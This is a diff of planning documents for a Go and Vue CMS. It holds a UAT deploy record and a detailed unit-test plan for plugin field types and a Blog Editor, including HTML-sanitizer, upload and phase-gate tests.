+D-03 is now proven on UAT for an HTML post (post 1) and for a markdown post (post 64).
+
+## Follow-up deploy (preview pane and View site)
+
+On 2026-10-10, everything committed was released to UAT: the Blog Editor live preview pane and the admin "View site" link.
+
+- **Pushed refs:**
+  - sm-journal-plugin `2c78211`, equal to origin/main.
+  - Host `0ad1004`, equal to origin/master. Its journal gitlink is `2c78211`.
+  - summercms.go master `b5c70b7` before this record. It includes `85fe541` (View site) and was pushed to origin as `f1d8a75..b5c70b7`.
+- **Binary sha256:**
+  - New: `c68a2099ec6a67d4cbf74086f501b2af2bb4b54f3e7f94fddc04e459d2ab486f`. The local build, the uploaded `.new` and the installed binary all match.
+  - Rollback copy `go/bin/grzybyfunkcjonalne.prev`: `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4` (the v0.1.18 deploy from 11:16).
+- **Nuxt rollback:** `nuxt/.output.prev` now holds the v0.1.18 output. The old `.prev` was removed before the copy, so `cp -a` replaced it and did not nest into it.
+- **Release steps:**
+  - `scripts/check-deploy.sh`: ok.
+  - `migrate`: exit 0 ("migrations applied").
+  - Restart of both programs at 2026-10-10T12:37:43Z.
+- **Smoke:** `smoke: ok (98 urls)`.
+- **Go log:** checked after the anchor `River client started client_id=alexandria_2026_10_10T12_37_43_865055`. It has 0 panic or SQLSTATE lines and 0 `level=ERROR` lines.
+- **Feature checks:**
+  - The deployed binary contains `blogeditor__preview` and `previewFrame`, from the journal `assets/dist/blogeditor.js`.
+  - The admin bundle served at `/gfadmin/assets/index-Bqh6wnN4.js` contains `data-view-site`.
+- **Tag:** none was cut. v0.1.19 is still pending, after the unit-test plan (06). The plugin go.mod still requires summercms v0.1.18 with the local replace, and the host builds against the summercms.go working tree through go.work.

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md

@@ -0,0 +1,249 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 06
+type: execute
+wave: 4
+depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04", "16.2-05"]
+files_modified:
+  - modules/pact/field_type_test.go
+  - modules/cabana/field_type_test.go
+  - modules/cabana/field_type_postgres_test.go
+  - admin/tests/form/PluginField.test.ts
+  - admin/tests/form/FormField.test.ts
+  - admin/tests/form/registry.test.ts
+  - admin/tests/form/formState.test.ts
+  - admin/tests/app/fieldTypes.test.ts
+  - admin/tests/list/ListView.test.ts
+  - scripts/check-phase16.2.sh
+  - .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
+  - ../sm-journal-plugin/classes/blog_editor_test.go
+  - ../sm-journal-plugin/classes/editor_policy_test.go
+  - ../sm-journal-plugin/classes/media_store_test.go
+  - ../sm-journal-plugin/controllers/posts_editor_test.go
+  - ../sm-journal-plugin/posts_admin_smoke_test.go
+  - ../sm-journal-plugin/categories_admin_editor_test.go
+  - ../sm-journal-plugin/tests/blogeditor/element.test.ts
+  - ../sm-journal-plugin/tests/blogeditor/schema.test.ts
+  - ../sm-journal-plugin/tests/blogeditor/serializer.test.ts
+  - ../sm-journal-plugin/tests/blogeditor/embed.test.ts
+  - ../vue-journal-layer/tests/embeds.test.ts
+  - ../vue-journal-layer/tests/htmlGate.test.ts
+autonomous: true
+requirements: [D-02, D-03, D-05, D-07, D-10, D-11, D-12, D-13, D-14, D-17, D-18, D-19]
+estimate:
+  tokens: 125000
+  raw_tokens: 125000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "CLAUDE.md lean rule 3: every piece of Phase 16.2 code has unit tests in this last plan: the pact types, the cabana registry, compile, decode, skip, load, list, writes accessor, field-types and upload routes, the SPA PluginField, MLPluginField, loader and registry helpers, the Journal field types, media storage and hooks, the editor element, schema, serializer and embed parsing, and the layer's expandEmbeds."
+    - "Todo journal-imported-html-admin-resave and D-03 at every layer: the element returns an untouched value unchanged, PluginField does not re-set an echoed value, cabana writes nothing and reports nothing for a value equal to the served one, Journal Load serves content for HTML and content_html for markdown, and the Postgres test TestPostsAdminResaveKeepsHTML asserts exact bytes for an untouched HTML post and an untouched markdown post with no meta.notices, and equal content and content_html per locale after an edit."
+    - "D-11 and D-12: every boot rule (alias pattern, core-type clash, cross-plugin clash, element prefix, missing Decode, option-key pattern and clash, missing AdminFS, asset path and extension) has a failing case; CompileForm stays core-only and settings and relation forms refuse plugin types."
+    - "D-10 and D-14 (framework): a FormFieldError on the default or a non-default locale is a 422 on the field with no write and no notices; a non-FormFieldError and a non-string translatable Decode value are opaque 500s; FormFieldDecoded notices become meta.notices entries with field and locale, localized (plural forms through Count), at most 10 per field and locale and 500 runes each; a save without notices has no notices key; the SPA renders notices as text under the field and in the saved toast."
+    - "D-10 and D-02 (Journal, amended): SanitizeHTMLReport returns the input byte for byte with an empty report exactly when the policy keeps everything (property checked over the 35 unsafe payloads, the imported-post fixture and the editor corpus); post and category admin saves strip and report, never answer 422 for markup, and store equal sanitized HTML in content and content_html per locale; an untouched save writes and reports nothing."
+    - "D-05 (amended): every editor-corpus entry passes the Go policy byte for byte and is safe under the layer's sanitizer, the two corpus copies are identical, and the four editor-output rules admit nothing else (other providers, malformed ids, data attributes elsewhere, iframes stay stripped in both policies)."
+    - "D-18: the upload route answers 201, 403, 404 (core field, no Upload, out-of-scope record), 413 and 422, and the Journal upload refuses a disguised file and an svg."
+    - "D-17 and D-05: expandEmbeds expands only exact allowlisted placeholders and runs last, after sanitizeJournalHtml at each sink; a stored iframe never reaches the output; parseEmbedUrl accepts only the four YouTube URL forms."
+    - "Postgres-backed tests (cabana TestFieldTypeSavePostgres, the sm-journal-plugin admin harness tests including TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent and TestCategoriesAdminBlogEditor) exist, compile under go vet and fail rather than skip without a database; they run on a Docker host before /msd-verify-work."
+    - "scripts/check-phase16.2.sh runs every runnable suite fail-closed and ends with 'Phase 16.2 gate passed'; 16.2-VALIDATION.md has its per-task map filled and nyquist_compliant true."
+  artifacts:
+    - path: "modules/cabana/field_type_test.go"
+      provides: "registry, compile, decode, skip, load, list, writes and route unit tests"
+      contains: "TestFieldTypeRegistry"
+    - path: "modules/cabana/field_type_postgres_test.go"
+      provides: "real-database save, show and upload tests"
+      contains: "TestFieldTypeSavePostgres"
+    - path: "../sm-journal-plugin/classes/blog_editor_test.go"
+      provides: "Decode, Load, LooksLikeHTML, options, list value, upload tests"
+      contains: "TestBlogEditorLoad"
+    - path: "scripts/check-phase16.2.sh"
+      provides: "phase gate"
+      contains: "Phase 16.2 gate passed"
+  key_links:
+    - from: "../sm-journal-plugin/posts_admin_smoke_test.go TestPostsAdminResaveKeepsHTML"
+      to: "the cabana untouched skip and the Journal hooks"
+      via: "PUT of the served value through the real admin API on Postgres"
+      pattern: "TestPostsAdminResaveKeepsHTML"
+    - from: "scripts/check-phase16.2.sh"
+      to: "every suite named in 16.2-VALIDATION.md"
+      via: "fail-closed stages"
+      pattern: "check-phase16.2"
+  prohibitions:
+    - statement: "No test touches the UAT server, the network or a shared database: pure tests use stubs, DryRun handles or memblob; Postgres tests use throwaway testcontainers databases."
+      status: unresolved
+      verification: judgment
+    - statement: "Tests are not weakened to pass: every existing assertion that still describes the shipped behaviour stays (FormatHTML strip and byte-stability cases, the 35 unsafe payloads, the duplicate-attribute rule, CheckHTML as a predicate, upload sniffing, alias collision, upload permission, sanitize-then-expand order, widget, ML, list-state and SSR expectations); only the two category 422 assertions retired by amended D-10 became strip-and-report assertions (plan 03), and nothing else is relaxed."
+      status: unresolved
+      verification: judgment
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (CLAUDE.md lean rule 3, user decision 1, plan 06): full unit coverage of the phase's code across summercms.go, sm-journal-plugin and vue-journal-layer, the Postgres tests for a Docker host, and the phase gate. This plan changes tests, the gate script and VALIDATION.md only, so no dist or bundle changes.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
+
+Admin saves now strip and report instead of refusing, so the refusal-case assertions planned here became strip-and-report assertions: a FormFieldError still answers 422, but markup never does. The plan adds the policy cross-check (the editor corpus against both policies, and the identity of the two copies), category strip coverage, "notices only when something was stripped" and "an untouched save writes and reports nothing". The tests that still hold are unchanged in intent: upload sniffing, alias collision, permission, sanitize-then-expand order, byte-stability, the duplicate-attribute rule.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Artifacts this phase produces (this plan)
+
+- Go tests: `TestFormFieldErrorMessage` (pact); `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeNotices`, `TestFieldTypeUntouched`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload` (cabana); `TestFieldTypeSavePostgres` (cabana, Docker); `TestBlogEditorDecode`, `TestBlogEditorNotices`, `TestBlogEditorLoad`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia` and the extended `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` (Journal classes); `TestPostsEditorHooks` (Journal controllers); `TestCategoriesAdminBlogEditor` and the extended `TestPostsAdminResaveKeepsHTML` (Journal root, Docker).
+- Vitest files: `admin/tests/app/fieldTypes.test.ts`; extended `PluginField.test.ts`, `FormField.test.ts`, `registry.test.ts`, `formState.test.ts`, `ListView.test.ts`; `../sm-journal-plugin/tests/blogeditor/{element,schema,serializer,embed}.test.ts`.
+- Layer: extended `tests/embeds.test.ts` and `tests/htmlGate.test.ts`.
+- `scripts/check-phase16.2.sh` (stages `go`, `admin`, `editor`, `layer`, `docs`, `postgres`; the layer stage also compares the two editor-corpus copies; flags `--all`, `--self-test`).
+
+<objective>
+Bring full unit coverage to Phase 16.2 (lean rule 3), add the Postgres tests for a Docker host, write the phase gate and complete the validation map.
+
+Purpose: every behaviour the phase shipped is pinned by a test that fails when it regresses.
+Output: the test files above, scripts/check-phase16.2.sh, an updated 16.2-VALIDATION.md.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md
+
+No Docker on this machine (Pitfall 11): run Go tests with explicit `-run` sets; the testcontainers tests are written to fail rather than skip without a database and are listed for the Docker host. Test helpers to reuse: `openDryRunDB`, `newDryRunListService` (modules/cabana/query_relation_test.go), the recording TranslationWriter (modules/cabana/locale_order_test.go), `crudFixture`/`hookFixture` and `principalCtx` (Postgres fixtures in crud_test.go and crud_lifecycle_test.go), `newPostsEnv` and `adminAPI` (sm-journal-plugin admin harness), `memblob.OpenBucket`. Commits: tests only, `test(...)` messages, no co-author tags, stage by explicit path in each repository.
+</context>
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Tracer: the imported-post resave contract, pinned at every layer (element, SPA, cabana, Journal, Postgres)</name>
+  <files>../sm-journal-plugin/tests/blogeditor/element.test.ts, admin/tests/form/PluginField.test.ts, modules/cabana/field_type_test.go, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
+  <read_first>../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, admin/tests/form/PluginField.test.ts, modules/cabana/field_type_smoke_test.go, modules/cabana/field_type.go, ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/posts_admin_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go, .planning/todos/pending/journal-imported-html-admin-resave.md</read_first>
+  <action>Write one test per layer for the folded todo's acceptance (D-03, D-07; "re-save an imported HTML post and assert content and content_html are unchanged").
+
+Element (element.test.ts, happy-dom): for the imported-post fixture and for a markdown post's content_html sample, set value, toggle to the source tab and back without typing, and read value: identical string and zero summer-change events.
+
+SPA (PluginField.test.ts): a stub element that re-emits its current value on connect; the form value stays identical and PluginField never writes the property a second time for an equal value.
+
+cabana (field_type_test.go, TestFieldTypeUntouched): with a translatable stub type (whose Decode always returns a notice) and a recording writer, an update whose submitted pl and en values equal servedFieldValue writes nothing and reports nothing (no projected key, no WriteTranslated call, no FieldWrite, no notice); one changed locale writes and reports only that locale; canonical comparison treats equal JSON objects with different key order as equal and a string "1" and number 1 as different; a create never skips.
+
+Journal (blog_editor_test.go, TestBlogEditorLoad): HTML content is served verbatim (including leading whitespace and a leading HTML comment), markdown content is served as the Translated content_html, an empty content_html falls back to FormatHTML, nil and empty pointers give "".
+
+Postgres (posts_admin_smoke_test.go, Docker host): TestPostsAdminResaveKeepsHTML creates an HTML post and a markdown post through the admin API, reads the served form values with GET, PUTs them back unchanged and asserts content and content_html are byte-identical for both (the markdown post keeps markdown content), that no en translation row was added for an untouched empty en and that the PUT response has no meta.notices key, then PUTs an edited pl and en value of clean HTML and asserts content equals content_html for pl, that the en content_html translation equals the en content, and that no notices are reported.
+
+Commit per repository as test(...) commits, staged by explicit path.</action>
+  <verify>
+    <automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/element.test.ts &amp;&amp; npm --prefix admin test -- tests/form/PluginField.test.ts &amp;&amp; go test -count=1 -run '^TestFieldTypeUntouched$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestFieldTypeUntouched' &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorLoad$' -v ./classes/ 2&gt;&amp;1 | grep -- '^--- PASS: TestBlogEditorLoad' &amp;&amp; go -C ../sm-journal-plugin vet ./...</automated>
+    <fails_when>Non-zero exit: an element or PluginField vitest case fails, no "--- PASS: TestFieldTypeUntouched" or "--- PASS: TestBlogEditorLoad" line, or go vet fails on the updated Postgres test.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "func TestFieldTypeUntouched" modules/cabana/field_type_test.go` and `grep -n "func TestBlogEditorLoad" ../sm-journal-plugin/classes/blog_editor_test.go` each print one line.
+    - TestPostsAdminResaveKeepsHTML compares bytes without TrimSpace and covers an HTML post, a markdown post and an edited save, and asserts no meta.notices on the untouched and clean saves (read the test: three stages).
+    - The four runnable checks pass; the Postgres test compiles (go vet).
+  </acceptance_criteria>
+  <done>The untouched-resave contract is pinned at the element, SPA, cabana and Journal layers here, and on Postgres for the Docker host.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 2: Full Go coverage: pact, cabana field types and routes, Journal field types, media storage and hooks; Postgres tests</name>
+  <files>modules/pact/field_type_test.go, modules/cabana/field_type_test.go, modules/cabana/field_type_postgres_test.go, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/classes/editor_policy_test.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/posts_editor_test.go, ../sm-journal-plugin/categories_admin_editor_test.go</files>
+  <read_first>modules/pact/capabilities.go, modules/cabana/relation_field.go (RecordMeta.Notices, FieldNotice), modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/tx_context.go, modules/cabana/field_ml.go, modules/cabana/list_schema.go, modules/cabana/field_type_smoke_test.go, modules/cabana/query_test.go (Postgres container fixture), modules/cabana/crud_lifecycle_test.go (hookFixture, principalCtx, crudCall), ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/format_html.go (SanitizeHTMLReport, newHTMLPolicy), ../sm-journal-plugin/classes/editor_policy_test.go (plan 03), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads), ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/journal_api_categories_test.go</read_first>
+  <behavior>
+    - pact: FormFieldError.Error joins messages with "; "; a nil pointer does not panic.
+    - Registry: bad alias pattern, core clash, cross-plugin clash naming both IDs, wrong element prefix, reserved or invalid tag, nil Decode, bad and core-clashing and repeated option keys, assets without AdminFS, bad asset path and extension each fail boot with the documented message; valid types register their assets with ?v= hashes.
+    - Compile: general keys accepted, core type-specific keys refused, option values of every YAML kind decoded, CheckOptions error surfaced, CompileForm refuses a plugin alias, CompileFormWithTypes accepts it, settings and relation forms refuse plugin types.
+    - Decode/Load: default and non-default FormFieldError become a 422 on the field with no write and no notices; other errors and a non-string translatable Decode value are opaque 500 without the plugin text; nil Load keeps the stored value; Load errors are opaque 500.
+    - Notices: a Decode notice becomes one FieldNotice with field and locale (none for a non-translatable type); Count selects the plural form and Params fill placeholders through a real phrasebook translator; text that is not a phrase key passes through; more than 10 notices per field and locale are cut to 10 and a message over 500 runes is cut with an ellipsis; the encoded RecordMeta has no notices key when there are none.
+    - List: ListValue applied, nil ListValue keeps raw value. Writes: copy semantics, false outside save, Before and After hooks see the same writes.
+    - Routes: field-types sorted, empty list, assets URLs; upload 201, 403, 404 (core field, no Upload, unknown field, context refusal), 413, 422, missing part, id 0 Record nil.
+    - Postgres (Docker host): create, update, show through the HTTP handlers with a translatable plugin type and the real column; an untouched update leaves the row unchanged; upload with id != 0 outside the FormExtendQuery scope is 404.
+    - Journal: Decode table (clean string unchanged with no notice; nil gives ""; non-string FormFieldError; each of the 35 unsafePayloads stripped with at least one notice and an output equal to SanitizeHTML; the placeholder and every corpus entry unchanged with no notice); removal notices (order elements, attributes, comments, other; Count; names joined; ellipsis after 10 names; every key present in lang/en with one and other and in lang/pl with one, few, many and other); SanitizeHTMLReport property over the unsafePayloads, the imported-post fixture and the corpus (report empty exactly when the output equals the input); the corpus cross-check negatives (other provider, 10- and 12-character ids, data attributes on other elements, extra data attribute on figure, onload on the placeholder, iframe); LooksLikeHTML table; options (htmlColumn identifier, uploadFolder rule); ListValue (tags stripped, 120-rune truncation); Upload (png, jpeg, gif and webp sniff, disguised text, svg, safe names, size, missing bucket); StoreMedia (extension, size message, key layout, unique suffix, URL); hooks (create and update, default and non-default writes, no writes, no writer); categories on Postgres: content saved through blogeditor, blank to NULL, unsafe content stored stripped with a notice in meta.notices and no 422, safe content byte-identical with no notices key.
+  </behavior>
+  <action>Write the Go tests listed in the behavior block (per D-02, D-05, D-10, D-11, D-12, D-14, D-18, D-19), table-driven where the cases share a shape. Extend plan 03's TestEditorOutputPassesPolicy and TestSanitizeHTMLReport in place rather than duplicating them. cabana unit tests use no database (DryRun handles, stubs, the recording writer, httptest with principalCtx-style contexts); TestFieldTypeSavePostgres reuses the existing testcontainers fixture pattern and fails, not skips, without Docker. The Journal root-package TestCategoriesAdminBlogEditor uses newPostsEnv-style harness setup for the categories controller. Do not change production code; if a test exposes a defect, fix it in a separate fix(...) commit with its own test and record it in the SUMMARY. Commit per repository as test(...) commits, staged by explicit path.</action>
+  <verify>
+    <automated>go vet ./modules/pact ./modules/cabana &amp;&amp; go test -count=1 ./modules/pact &amp;&amp; go test -count=1 -run '^(TestFieldTypeRegistry|TestFieldTypeOptions|TestFieldTypeCompile|TestFieldTypeDecode|TestFieldTypeNotices|TestFieldTypeUntouched|TestFieldTypeLoad|TestFieldTypeListValue|TestFieldTypeWrites|TestFieldTypesRoute|TestFieldUpload|TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 13</automated>
+    <fails_when>Non-zero exit: vet or the pact package fails, or fewer than thirteen top-level "--- PASS: Test" lines for the named cabana tests (one missing or failing).</fails_when>
+    <automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorDecode|TestBlogEditorNotices|TestBlogEditorLoad|TestLooksLikeHTML|TestBlogEditorOptions|TestBlogEditorListValue|TestBlogEditorUpload|TestStoreMedia|TestEditorOutputPassesPolicy|TestSanitizeHTMLReport)$' -v ./classes/ 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 10</automated>
+    <fails_when>Non-zero exit: vet fails, a classes or controllers test fails, or fewer than ten "--- PASS: Test" lines for the named Journal classes tests (a strip, notice, report, corpus or upload case regressed).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "func TestFieldTypeSavePostgres" modules/cabana/field_type_postgres_test.go` and `grep -n "func TestCategoriesAdminBlogEditor" ../sm-journal-plugin/categories_admin_editor_test.go` each print one line, and both files pass go vet.
+    - The thirteen named cabana tests and ten named Journal classes tests pass; `go -C ../sm-journal-plugin test -count=1 -run '^TestPostsEditorHooks$' ./controllers/` passes.
+    - `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go classes/format_translation_test.go` exits 0 (the 16.1 policy tests are not weakened).
+    - For each repository, `git diff --stat "$TASK2_START"..HEAD` (TASK2_START is that repository's head recorded in the SUMMARY before this task) lists only *_test.go files, except files of separate fix(...) commits that the SUMMARY names.
+  </acceptance_criteria>
+  <done>Every Go behaviour of the phase has a passing unit test here, and the database-backed paths have Postgres tests for the Docker host.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 3: Full JS coverage (admin, editor, layer), the phase gate script and the validation map</name>
+  <files>admin/tests/app/fieldTypes.test.ts, admin/tests/form/registry.test.ts, admin/tests/form/formState.test.ts, admin/tests/form/FormField.test.ts, admin/tests/list/ListView.test.ts, ../sm-journal-plugin/tests/blogeditor/schema.test.ts, ../sm-journal-plugin/tests/blogeditor/serializer.test.ts, ../sm-journal-plugin/tests/blogeditor/embed.test.ts, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/htmlGate.test.ts, scripts/check-phase16.2.sh, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md</files>
+  <read_first>admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/views/ListView.vue, admin/tests/form/registry.test.ts, admin/tests/form/formState.test.ts, admin/tests/list/ListView.test.ts, ../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/htmlGate.test.ts, ../sm-journal-plugin/tests/blogeditor/corpus.test.ts, admin/src/components/form/FormField.vue, scripts/check-phase16.sh (fail-closed stage and detector style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md</read_first>
+  <behavior>
+    - fieldTypes: each script URL loads once even when loadFieldTypes runs twice; global styles stay enabled after activateStyles for any controller; a failed GET or script does not reject; URLs outside the asset prefix are refused.
+    - registry: rendererForField returns PluginField, MLPluginField or the core renderer; isRegisteredField true for plugin fields; groupLabelled true for plugin fields. formState: isMLField fields get locale maps in initial values and editable payloads; noticeLines groups notices by field with the locale prefix. FormField: notices render as literal text in a status line linked by aria-describedby, none without notices. ListView: an unknown column type renders the row value as text.
+    - Editor schema: every rawHtml tag rule, figure shapes (img only, img plus figcaption, other content to rawHtml), span mark, global attributes on each modelled type, link attributes without defaults and javascript: refused, table rendering without colgroup, thead kept, cell paragraph unwrapping, no trailing paragraph, rawHtml card escaping.
+    - Serializer: block reuse after one edit, after a deletion and after an insertion; whitespace between blocks kept for reused runs.
+    - Embed: parseEmbedUrl table (watch, youtu.be, shorts, embed, extra query params, 10 and 12 character ids, other hosts, javascript:), node round trip, insert flow; isPolicyUrl table (http, https, mailto, relative, #fragment accepted; javascript:, vbscript:, data:, tel: and tab- or newline-split schemes refused); upload flow timeout and mismatched id; labels pl and en with en fallback; disabled and invalid attributes.
+    - Layer: expandEmbeds table (valid, invalid id, unknown provider, extra attribute, attribute order swapped, two placeholders, empty input); the sanitize-then-expand pipeline at the sink and the payload-then-sink pipeline (stored iframe stripped, placeholder expanded, expansion output never sanitized again); the mirror: every corpus entry safe, the four rules accepted, the negative cases stripped, existing htmlGate cases unchanged.
+    - Gate: stages go, admin, editor, layer, docs run fail-closed (a go run with "no tests to run", a skip or a missing named test fails; a node run with "not ok" or "# fail" non-zero fails); the editor stage includes corpus.test.ts and the go stage the Journal policy cross-check; the layer stage fails when the layer's tests/fixtures/editor-corpus.json differs from the plugin's (cmp); --self-test proves the detectors and the corpus comparison fail on planted output; --all ends with "Phase 16.2 gate passed"; the postgres stage runs the Docker suites (including TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent) and is documented as Docker-host only.
+  </behavior>
+  <action>Write the JS tests in the behavior block (per D-03, D-04, D-05, D-10, D-13, D-14, D-17, D-18) in each repository's existing runner (admin vitest, plugin vitest, layer node:test with erasable TypeScript only). Write scripts/check-phase16.2.sh in the check-phase16.sh style (set -euo pipefail, unset FORCE_COLOR, ROOT from the script path, overridable JOURNAL and LAYER paths, required-test name lists per stage, the go and node detectors, --self-test, --all, stage names go, admin, editor, layer, docs, postgres; the docs stage runs TestDocsTree, check-admin-openapi.sh --check, check-admin-dist.sh and the plugin check-dist.sh). Update 16.2-VALIDATION.md: fill the per-task map with the real task IDs (16.2-01-T2 and so on, including the strip, notices, corpus and category rows added in the 2026-10-10 revision), commands and statuses, tick Wave 0, set wave_0_complete and nyquist_compliant to true, and keep the Manual-Only rows (Docker-host suites; UAT editing and the UAT strip check, which plan 05 recorded). Commit tests per repository as test(...) commits, the script as "test(16.2): phase gate", and VALIDATION.md separately as docs(16.2), staged by explicit path.</action>
+  <verify>
+    <automated>npm --prefix admin test &amp;&amp; ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin &amp;&amp; npm --prefix ../vue-journal-layer test 2&gt;&amp;1 | grep -E '^# fail 0$'</automated>
+    <fails_when>Non-zero exit or no "# fail 0" line: an admin or editor vitest file fails, or a layer node test fails.</fails_when>
+    <automated>bash scripts/check-phase16.2.sh --self-test &amp;&amp; bash scripts/check-phase16.2.sh --all 2&gt;&amp;1 | tail -1 | grep -qx 'Phase 16.2 gate passed'</automated>
+    <fails_when>Non-zero exit: a detector self-test does not fail on planted output, or the last line of the --all run is not exactly "Phase 16.2 gate passed" (a stage failed or a required test is missing).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "Phase 16.2 gate passed" scripts/check-phase16.2.sh` prints at least one line, and the --all run ends with that line.
+    - `grep -n "nyquist_compliant: true" .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md` prints one line and the per-task map has no "TBD" task IDs.
+    - The admin, editor and layer suites pass in full.
+  </acceptance_criteria>
+  <done>The JS code of the phase is fully tested, the phase gate passes here, and the validation map is complete with the Docker-host suites listed as manual.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| tests → databases | Postgres tests start throwaway containers; nothing else is dialled |
+| tests → network | no test reaches UAT, the npm registry or git origin |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-28 | Tampering | test isolation | low | mitigate | Pure tests use stubs, DryRun handles on a DSN that is never dialled, memblob and happy-dom; Postgres tests use testcontainers; no ssh or curl in any test |
+| T-16.2-29 | Repudiation (false green) | phase gate | medium | mitigate | Fail-closed detectors for "no tests to run", skips, missing named tests and node "# fail"; --self-test proves them; Docker suites are named as manual rows, not silently skipped |
+| T-16.2-30 | Tampering (security regression) | strip, policy and permission tests | medium | mitigate | The strip-and-report cases (35 payloads, report property, category strip), the editor-corpus cross-check against both policies and the corpus-copy comparison, upload sniffing, alias collision, upload permission and sanitize-then-expand order are explicit tests in the fail-closed gate, and the 16.1 policy test files are diff-checked against c60abc6, so a later change that weakens them fails the gate |
+| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: every runner uses the lockfiles committed in plans 01, 02 and 04 |
+</threat_model>
+
+<verification>
+- Task 1: the four layer checks of the resave contract pass and the Postgres test compiles.
+- Task 2: the named cabana and Journal tests pass; the Postgres tests compile.
+- Task 3: all JS suites pass, the gate self-test and --all pass, VALIDATION.md is complete.
+- Before /msd-verify-work, on a Docker host: `bash scripts/check-phase16.2.sh postgres`.
+</verification>
+
+<success_criteria>
